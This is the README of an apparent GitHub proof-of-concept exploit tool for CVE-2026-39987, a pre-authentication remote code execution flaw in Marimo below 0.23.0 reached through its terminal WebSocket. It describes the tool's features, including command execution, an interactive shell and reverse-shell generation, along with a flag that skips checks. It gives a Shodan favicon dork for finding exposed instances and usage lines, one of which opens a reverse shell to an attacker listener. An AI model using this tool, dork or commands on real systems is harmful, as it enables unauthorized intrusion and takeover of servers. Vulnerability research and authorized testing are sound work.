M3PH1569/CVE-2026-39987-POC
GitHub: M3PH1569/CVE-2026-39987-POC
CVE-2026-39987 的概念验证利用工具,可对 Marimo <0.23.0 进行预认证远程代码执行。
Stars: 1 | Forks: 0
# CVE-2026-39987 - Marimo < 0.23.0 预认证远程代码执行(WebSocket)




这是一个针对 **Marimo 0.23.0 以下版本** 中严重预认证远程代码执行(RCE)漏洞的概念验证(PoC)利用程序。
该漏洞允许未经身份验证的攻击者连接到 WebSocket 端点(`/terminal/ws`),并在目标服务器上执行任意系统命令。
## 功能
- **自动化验证**:通过识别版本并验证 Marimo 应用程序的存在(通过 favicon 和 `/api/version` 端点),自动检查目标是否存在漏洞。
- **单命令执行**:向目标发送单条命令并接收输出。
- **交互式 Shell**:生成一个伪交互式持久 shell,无缝与目标交互。
- **反向 Shell 生成**:内置支持生成并执行反向 shell 载荷。
- **验证绕过**:使用 `--no-check` 标志可绕过版本和存在性检查,适用于端点可能被隐藏的环境。
## Shodan / FOFA Dork
您可以使用以下 dork 来识别潜在易受攻击的实例:
```
http.favicon.hash:-1864630356
```
## 安装说明
建议使用 Python 虚拟环境来安装依赖项。
```
# 1. 克隆 repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. 创建并激活 virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. 安装所需的 dependencies
pip install -r requirements.txt
```
## 使用方法
```
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--no-check] target [command]
CVE-2026-39987 - Marimo Pre-Auth RCE POC
positional arguments:
target URL of the target (e.g., http://localhost:8080)
command Command to execute (optional if using -i)
options:
-h, --help show this help message and exit
-i, --interactive Interactive mode (persistent shell)
--revshell IP PORT Generate reverse shell payload (IP and port)
--no-check Skip vulnerability verification
```
### 示例
**1. 执行单条命令:**
```
python CVE-2026-39987.py http://target.com:8080 "id"
```
**2. 启动交互式 Shell:**
```
python CVE-2026-39987.py http://target.com:8080 -i
```
**3. 执行反向 Shell:**
请确保您的机器上已运行一个 netcat 监听器(例如 `nc -lvnp 4444`)。
```
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
```
**4. 跳过验证检查并强制执行:**
```
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
```
## 免责声明
此工具严格用于 **教育目的和授权的道德黑客行为**。作者不对因使用此脚本而导致的任何滥用、损害或非法活动负责。**在执行任何安全测试之前,请始终确保获得系统所有者的明确许可**。未经授权使用此脚本是违法的,将受到法律制裁。
## 许可证
本项目采用 MIT 许可证授权 – 详情请参阅 [LICENSE](LICENSE) 文件。
---
由 M3PH1569 用 ☕︎ 制作
标签:CISA项目, CVE-2026-39987, Marimo, Python, WebSocket, 交互式Shell, 依赖分析, 利用工具, 反向Shell, 命令执行, 威胁模拟, 无后门, 未认证漏洞, 终端漏洞, 编程工具, 网络安全, 自动化验证, 远程代码执行, 逆向工具, 隐私保护, 预认证RCE